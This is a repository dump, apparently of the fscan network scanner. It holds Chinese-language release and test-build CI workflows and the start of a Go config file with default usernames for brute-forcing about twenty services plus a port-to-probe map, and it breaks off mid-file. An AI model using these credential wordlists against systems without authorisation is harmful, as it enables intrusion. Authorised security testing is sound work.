.CommitTimestamp }}" ================================================ FILE: .github/workflows/release.yml ================================================ name: 发布构建 on: push: tags: - 'v*' workflow_dispatch: inputs: tag: description: '发布标签' required: true default: 'v1.0.0' draft: description: '创建草稿发布' type: boolean default: false prerelease: description: '标记为预发布' type: boolean default: false permissions: contents: write issues: write pull-requests: write jobs: goreleaser: name: 构建和发布 runs-on: ubuntu-latest timeout-minutes: 60 # 设置作业级别的环境变量 env: GITHUB_OWNER: ${{ github.repository_owner }} GITHUB_REPO: ${{ github.event.repository.name }} PROJECT_NAME: ${{ github.event.repository.name }} steps: - name: 📥 检出代码 uses: actions/checkout@v4 with: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} - name: 🔍 获取项目信息 id: project run: | echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT - name: 🐹 设置 Go 环境 uses: actions/setup-go@v5 with: go-version: '1.20' cache: true - name: 📦 下载依赖 run: | go mod download go mod verify - name: 🗜️ 安装 UPX 压缩工具 uses: crazy-max/ghaction-upx@v3 with: install-only: true - name: ℹ️ 显示构建环境信息 run: | echo "Go 版本: $(go version)" echo "UPX 版本: $(upx --version)" echo "Git 标签: ${{ steps.project.outputs.version }}" echo "提交: ${{ steps.project.outputs.short_sha }}" echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}" echo "构建时间: ${{ steps.project.outputs.build_date }}" echo "环境变量:" echo "- GITHUB_OWNER: $GITHUB_OWNER" echo "- GITHUB_REPO: $GITHUB_REPO" echo "- PROJECT_NAME: $PROJECT_NAME" - name: 📊 记录构建开始时间 id: build_start run: | echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT - name: 🚀 构建和发布 id: build_step uses: goreleaser/goreleaser-action@v5 with: distribution: goreleaser version: latest args: release --clean -f .github/conf/.goreleaser.yml ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }} workdir: . env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_REPO: ${{ github.event.repository.name }} GITHUB_OWNER: ${{ github.repository_owner }} PROJECT_NAME: ${{ github.event.repository.name }} continue-on-error: true - name: 📊 记录构建结束时间 id: build_end run: | echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT start_time=${{ steps.build_start.outputs.start_time }} end_time=$(date +%s) duration=$((end_time - start_time)) echo "duration=${duration}" >> $GITHUB_OUTPUT echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT - name: 📋 上传构建产物 uses: actions/upload-artifact@v4 if: always() with: name: 构建产物-${{ steps.project.outputs.version }} path: | dist/ retention-days: 30 continue-on-error: true - name: 📊 统计构建产物 id: build_stats run: | if [ -d "dist" ]; then total_files=$(find dist/ -type f | wc -l) executable_files=$(find dist/ -type f -executable | wc -l) config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l) # 平台统计 linux_count=$(find dist/ -name "*linux*" -type f | wc -l) darwin_count=$(find dist/ -name "*darwin*" -type f | wc -l) windows_count=$(find dist/ -name "*windows*" -type f | wc -l) echo "total_files=$total_files" >> $GITHUB_OUTPUT echo "executable_files=$executable_files" >> $GITHUB_OUTPUT echo "config_files=$config_files" >> $GITHUB_OUTPUT echo "linux_count=$linux_count" >> $GITHUB_OUTPUT echo "darwin_count=$darwin_count" >> $GITHUB_OUTPUT echo "windows_count=$windows_count" >> $GITHUB_OUTPUT else echo "total_files=0" >> $GITHUB_OUTPUT echo "executable_files=0" >> $GITHUB_OUTPUT echo "config_files=0" >> $GITHUB_OUTPUT echo "linux_count=0" >> $GITHUB_OUTPUT echo "darwin_count=0" >> $GITHUB_OUTPUT echo "windows_count=0" >> $GITHUB_OUTPUT fi - name: 📊 生成发布报告 if: always() run: | # 构建状态判断 if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then build_status="![构建状态](https://img.shields.io/badge/构建-成功-brightgreen)" release_status="![发布状态](https://img.shields.io/badge/发布-成功-brightgreen)" else build_status="![构建状态](https://img.shields.io/badge/构建-失败-red)" release_status="![发布状态](https://img.shields.io/badge/发布-失败-red)" fi echo "# 🎉 发布构建报告" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "$build_status $release_status" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 基本信息 echo "## 📋 发布基本信息" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY echo "|------|-----|" >> $GITHUB_STEP_SUMMARY echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY echo "| 🏷️ **版本** | \`${{ steps.project.outputs.version }}\` |" >> $GITHUB_STEP_SUMMARY echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 构建环境信息 echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 构建时间统计 echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY echo "|------|------|" >> $GITHUB_STEP_SUMMARY echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 构建结果 echo "## 🚀 构建结果" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 构建阶段 | 状态 |" >> $GITHUB_STEP_SUMMARY echo "|----------|------|" >> $GITHUB_STEP_SUMMARY if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then echo "| 🏗️ **构建发布** | ✅ 成功 |" >> $GITHUB_STEP_SUMMARY else echo "| 🏗️ **构建发布** | ❌ 失败 |" >> $GITHUB_STEP_SUMMARY fi echo "" >> $GITHUB_STEP_SUMMARY # 发布产物统计 if [ -d "dist" ]; then echo "## 📦 发布产物统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 文件类型统计 echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY echo "|----------|------|" >> $GITHUB_STEP_SUMMARY echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 平台分布统计 echo "### 🌍 平台分布统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 平台 | 数量 |" >> $GITHUB_STEP_SUMMARY echo "|------|------|" >> $GITHUB_STEP_SUMMARY echo "| 🐧 **Linux** | ${{ steps.build_stats.outputs.linux_count }} |" >> $GITHUB_STEP_SUMMARY echo "| 🍎 **macOS** | ${{ steps.build_stats.outputs.darwin_count }} |" >> $GITHUB_STEP_SUMMARY echo "| 🪟 **Windows** | ${{ steps.build_stats.outputs.windows_count }} |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 总产物大小 echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知") echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY fi # 发布总结 echo "## 📈 发布总结" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY echo "🎉 **发布状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY echo "🔗 **发布链接**: https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }}" >> $GITHUB_STEP_SUMMARY else echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY echo "🎉 **发布状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY fi echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 快速链接 echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "- 🎯 [查看发布页面](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }})" >> $GITHUB_STEP_SUMMARY echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "---" >> $GITHUB_STEP_SUMMARY echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY - name: 📬 发送通知 if: always() run: | if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then echo "✅ 发布成功!版本 ${{ steps.project.outputs.version }} 已发布" # 这里可以添加发送成功通知的逻辑(如 Slack、邮件等) else echo "❌ 发布失败!请检查构建日志" # 这里可以添加发送失败通知的逻辑 fi ================================================ FILE: .github/workflows/test-build.yml ================================================ name: 测试构建 on: push: branches: - dev - develop - feature/* pull_request: branches: - main - master - dev workflow_dispatch: inputs: branch: description: '测试分支' required: false default: 'dev' permissions: contents: read jobs: test-build: name: 测试构建 runs-on: ubuntu-latest timeout-minutes: 30 # 设置作业级别的环境变量 env: GITHUB_OWNER: ${{ github.repository_owner }} GITHUB_REPO: ${{ github.event.repository.name }} PROJECT_NAME: ${{ github.event.repository.name }} steps: - name: 📥 检出代码 uses: actions/checkout@v4 with: fetch-depth: 0 ref: ${{ github.event.inputs.branch || github.ref }} - name: 🔍 获取项目信息 id: project run: | echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT echo "branch=${GITHUB_REF#refs/heads/}" >> $GITHUB_OUTPUT echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT - name: 🐹 设置 Go 环境 uses: actions/setup-go@v5 with: go-version: '1.20' cache: true - name: 📦 下载依赖 run: | go mod download go mod verify - name: 🗜️ 安装 UPX 压缩工具 uses: crazy-max/ghaction-upx@v3 with: install-only: true - name: ℹ️ 显示构建环境信息 run: | echo "Go 版本: $(go version)" echo "UPX 版本: $(upx --version)" echo "分支: ${{ steps.project.outputs.branch }}" echo "提交: ${{ steps.project.outputs.short_sha }}" echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}" echo "构建时间: ${{ steps.project.outputs.build_date }}" echo "环境变量:" echo "- GITHUB_OWNER: $GITHUB_OWNER" echo "- GITHUB_REPO: $GITHUB_REPO" echo "- PROJECT_NAME: $PROJECT_NAME" - name: 📊 记录构建开始时间 id: build_start run: | echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT - name: 🚀 测试构建 (Snapshot 模式) uses: goreleaser/goreleaser-action@v5 with: distribution: goreleaser version: latest args: release --snapshot --clean -f .github/conf/.goreleaser.yml workdir: . env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: 📊 记录构建结束时间 id: build_end run: | echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT start_time=${{ steps.build_start.outputs.start_time }} end_time=$(date +%s) duration=$((end_time - start_time)) echo "duration=${duration}" >> $GITHUB_OUTPUT echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT - name: 📋 上传测试产物 uses: actions/upload-artifact@v4 with: name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }} path: | dist/ retention-days: 7 - name: 📊 统计构建产物 id: build_stats run: | if [ -d "dist" ]; then total_files=$(find dist/ -type f | wc -l) executable_files=$(find dist/ -type f -executable | wc -l) config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l) echo "total_files=$total_files" >> $GITHUB_OUTPUT echo "executable_files=$executable_files" >> $GITHUB_OUTPUT echo "config_files=$config_files" >> $GITHUB_OUTPUT else echo "total_files=0" >> $GITHUB_OUTPUT echo "executable_files=0" >> $GITHUB_OUTPUT echo "config_files=0" >> $GITHUB_OUTPUT fi - name: 📊 生成构建报告 if: always() run: | echo "# 🎯 测试构建报告" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 基本信息表格 echo "## 📋 构建基本信息" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY echo "|------|-----|" >> $GITHUB_STEP_SUMMARY echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY echo "| 🌿 **分支** | ${{ steps.project.outputs.branch }} |" >> $GITHUB_STEP_SUMMARY echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 构建环境信息 echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 构建时间统计 echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY echo "|------|------|" >> $GITHUB_STEP_SUMMARY echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 构建产物统计 if [ -d "dist" ]; then echo "## 📦 构建产物统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 文件类型统计 echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY echo "|----------|------|" >> $GITHUB_STEP_SUMMARY echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 总产物大小 echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知") echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY fi # 总结 echo "## 📈 构建总结" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY if [ "${{ job.status }}" == "success" ]; then echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY else echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY fi echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY # 添加快速链接 echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch }})" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY echo "---" >> $GITHUB_STEP_SUMMARY echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY ================================================ FILE: .gitignore ================================================ result.txt main .idea fscan.exe fscan makefile fscanapi.csv ================================================ FILE: Common/Config.go ================================================ package Common import ( "github.com/schollz/progressbar/v3" "sync" ) var version = "2.0.1" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, "mssql": {"sa", "sql"}, "smb": {"administrator", "admin", "guest"}, "rdp": {"administrator", "admin", "guest"}, "postgresql": {"postgres", "admin"}, "ssh": {"root", "admin"}, "mongodb": {"root", "admin"}, "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, "telnet": {"root", "admin", "test"}, "elastic": {"elastic", "admin", "kibana"}, "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"}, "kafka": {"admin", "kafka", "root", "test"}, "activemq": {"admin", "root", "activemq", "system", "user"}, "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"}, "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"}, "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, "zabbix": {"Admin", "admin", "guest", "user"}, "rsync": {"rsync", "root", "admin", "backup"}, "cassandra": {"cassandra", "admin", "root", "system"}, "neo4j": {"neo4j", "admin", "root", "test"}, } var DefaultMap = []string{ "GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "ms-sql-s", "JavaRMI", "LDAPSearchReq", "LDAPBindReq", "oracle-tns", "Socks5", } var PortMap = map[int][]string{ 1: {"GetRequest", "Help"}, 7: {"Help"}, 21: {"GenericLines", "Help"}, 23: {"GenericLines", "tn3270"}, 25: {"Hello", "Help"}, 35: {"GenericLines"}, 42: {"SMBProgNeg"}, 43: {"GenericLines"}, 53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, 70: {"GetRequest"}, 79: {"GenericLines", "GetRequest", "Help"}, 80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"}, 81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"}, 82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, 83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, 84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, 85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, 88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"}, 98: {"GenericLines"}, 110: {"GenericLines"}, 111: {"RPCCheck"}, 113: {"GenericLines", "GetRequest", "Help"}, 119: {"GenericLines", "Help"}, 130: {"NotesRPC"}, 135: {"DNSVersionBindReqTCP", "SMBProgNeg"}, 139: {"GetRequest", "SMBProgNeg"}, 143: {"GetRequest"}, 175: {"NJE"}, 199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"}, 214: {"GenericLines"}, 256: {"LDAPSearchReq", "LDAPBindReq"}, 257: {"LDAPSearchReq", "LDAPBindReq"}, 261: {"SSLSessionReq"}, 264: {"GenericLines"}, 271: {"SSLSessionReq"}, 280: {"GetRequest"}, 322: {"RTSPRequest", "SSLSessionReq"}, 324: {"SSLSessionReq"}, 389: {"LDAPSearchReq", "LDAPBindReq"}, 390: {"LDAPSearchReq", "LDAPBindReq"}, 406: {"SIPOptions"}, 427: {"NotesRPC"}, 443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"}, 444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 445: {"SMBProgNeg"}, 448: {"SSLSessionReq"}, 449: {"GenericLines"}, 465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 497: {"GetRequest", "X11Probe"}, 500: {"OpenVPN"}, 505: {"GenericLines", "GetRequest"}, 510: {"GenericLines"}, 512: {"DNSVersionBindReqTCP"}, 513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, 514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, 515: {"GetRequest", "Help", "LPDString", "TerminalServer"}, 523: {"ibm-db2-das", "ibm-db2"}, 524: {"NCP"}, 540: {"GenericLines", "GetRequest"}, 543: {"DNSVersionBindReqTCP"}, 544: {"RPCCheck", "DNSVersionBindReqTCP"}, 548: {"SSLSessionReq", "SSLv23SessionReq", "afp"}, 554: {"GetRequest", "RTSPRequest"}, 563: {"SSLSessionReq"}, 585: {"SSLSessionReq"}, 587: {"GenericLines", "Hello", "Help"}, 591: {"GetRequest"}, 616: {"GenericLines"}, 620: {"GetRequest"}, 623: {"tn3270"}, 628: {"GenericLines", "DNSVersionBindReqTCP"}, 631: {"GetRequest", "HTTPOptions"}, 636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"}, 637: {"LDAPSearchReq", "LDAPBindReq"}, 641: {"HTTPOptions"}, 660: {"SMBProgNeg"}, 666: {"GenericLines", "beast2"}, 684: {"SSLSessionReq"}, 706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"}, 710: {"RPCCheck"}, 711: {"RPCCheck"}, 731: {"GenericLines"}, 771: {"GenericLines"}, 782: {"GenericLines"}, 783: {"GetRequest"}, 853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"}, 888: {"GetRequest"}, 898: {"GetRequest"}, 900: {"GetRequest"}, 901: {"GetRequest"}, 989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"}, 993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"}, 999: {"JavaRMI"}, 1000: {"GenericLines"}, 1010: {"GenericLines"}, 1025: {"SMBProgNeg"}, 1026: {"GetRequest"}, 1027: {"SMBProgNeg"}, 1028: {"TerminalServer"}, 1029: {"DNSVersionBindReqTCP"}, 1030: {"JavaRMI"}, 1031: {"SMBProgNeg"}, 1035: {"JavaRMI", "oracle-tns"}, 1040: {"GenericLines"}, 1041: {"GenericLines"}, 1042: {"GenericLines", "GetRequest"}, 1043: {"GenericLines"}, 1068: {"TerminalServer"}, 1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"}, 1090: {"JavaRMI", "Socks5", "Socks4"}, 1095: {"Socks5", "Socks4"}, 1098: {"JavaRMI"}, 1099: {"JavaRMI"}, 1100: {"JavaRMI", "Socks5", "Socks4"}, 1101: {"JavaRMI"}, 1102: {"JavaRMI"}, 1103: {"JavaRMI"}, 1105: {"Socks5", "Socks4"}, 1109: {"Socks5", "Socks4"}, 1111: {"Help"}, 1112: {"SMBProgNeg"}, 1129: {"JavaRMI"}, 1194: {"OpenVPN"}, 1199: {"JavaRMI"}, 1200: {"NCP"}, 1212: {"GenericLines"}, 1214: {"GetRequest"}, 1217: {"NCP"}, 1220: {"GenericLines", "GetRequest"}, 1234: {"GetRequest", 